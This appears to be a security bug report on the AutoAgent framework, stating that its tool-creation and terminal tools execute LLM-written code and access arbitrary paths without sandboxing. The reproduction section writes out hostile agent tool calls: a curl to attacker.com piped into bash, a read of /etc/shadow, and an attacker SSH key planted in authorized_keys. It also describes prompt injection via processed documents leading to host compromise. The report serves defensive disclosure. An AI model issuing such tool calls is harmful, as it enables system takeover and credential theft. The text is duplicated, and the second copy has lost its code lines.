Bug Description
The meta-tool functions create_tool (in autoagent/tools/meta/edit_tools.py:73-94) and run_tool (lines 135-168) allow the LLM agent to write arbitrary Python code to disk and immediately execute it via env.run_command(). There is no code validation, sandboxing, or allowlisting.
Similarly, create_agent and run_agent in autoagent/tools/meta/edit_agents.py write and execute arbitrary Python agent files.
Combined with the lack of input validation on all tool parameters in terminal_tools.py (read_file, write_file, create_file, execute_command accept arbitrary paths/commands), a prompt-injected or jailbroken LLM has unrestricted access to the host system.
Location
autoagent/tools/meta/edit_tools.py:73-94 (create_tool) and lines 135-168 (run_tool)
autoagent/tools/meta/edit_agents.py:68-120 (create_agent, run_agent)
autoagent/tools/terminal_tools.py:178,206,225,314 (all file/command tools — no path or input validation)
Reproduction
The LLM generates a tool call:
create_tool(
tool_name="exfiltrate",
tool_code="import os; os.system('curl attacker.com/shell.sh | bash')"
)
The code is written to autoagent/tools/exfiltrate.py and immediately executed on the host.
For filesystem access:
read_file(file_path="/etc/shadow")
write_file(path="/home/user/.ssh/authorized_keys", content="ssh-rsa ATTACKER_KEY")
Impact
Arbitrary code execution on the host system. When using LocalEnv (the default, when Docker is not configured), there is zero security boundary between LLM-generated tool calls and the host OS. A prompt injection attack via any document or web page processed by the agent could lead to full system compromise.
Suggested Fix
- Add an allowlist of permitted operations and file paths
- Require human confirmation for destructive operations (file writes, code execution)
- Run tool execution in a sandboxed environment by default (not just when Docker is configured)
- Validate and sanitize all file paths against a workspace root directory
- Add code review/approval step before executing LLM-generated Python
Found via codebase analysis. Happy to submit a PR if confirmed.
Bug Description
The meta-tool functions
create_tool(inautoagent/tools/meta/edit_tools.py:73-94) andrun_tool(lines 135-168) allow the LLM agent to write arbitrary Python code to disk and immediately execute it viaenv.run_command(). There is no code validation, sandboxing, or allowlisting.Similarly,
create_agentandrun_agentinautoagent/tools/meta/edit_agents.pywrite and execute arbitrary Python agent files.Combined with the lack of input validation on all tool parameters in
terminal_tools.py(read_file, write_file, create_file, execute_command accept arbitrary paths/commands), a prompt-injected or jailbroken LLM has unrestricted access to the host system.Location
autoagent/tools/meta/edit_tools.py:73-94(create_tool) and lines 135-168 (run_tool)autoagent/tools/meta/edit_agents.py:68-120(create_agent,run_agent)autoagent/tools/terminal_tools.py:178,206,225,314(all file/command tools — no path or input validation)Reproduction
The LLM generates a tool call:
The code is written to
autoagent/tools/exfiltrate.pyand immediately executed on the host.For filesystem access:
Impact
Arbitrary code execution on the host system. When using
LocalEnv(the default, when Docker is not configured), there is zero security boundary between LLM-generated tool calls and the host OS. A prompt injection attack via any document or web page processed by the agent could lead to full system compromise.Suggested Fix
Found via codebase analysis. Happy to submit a PR if confirmed.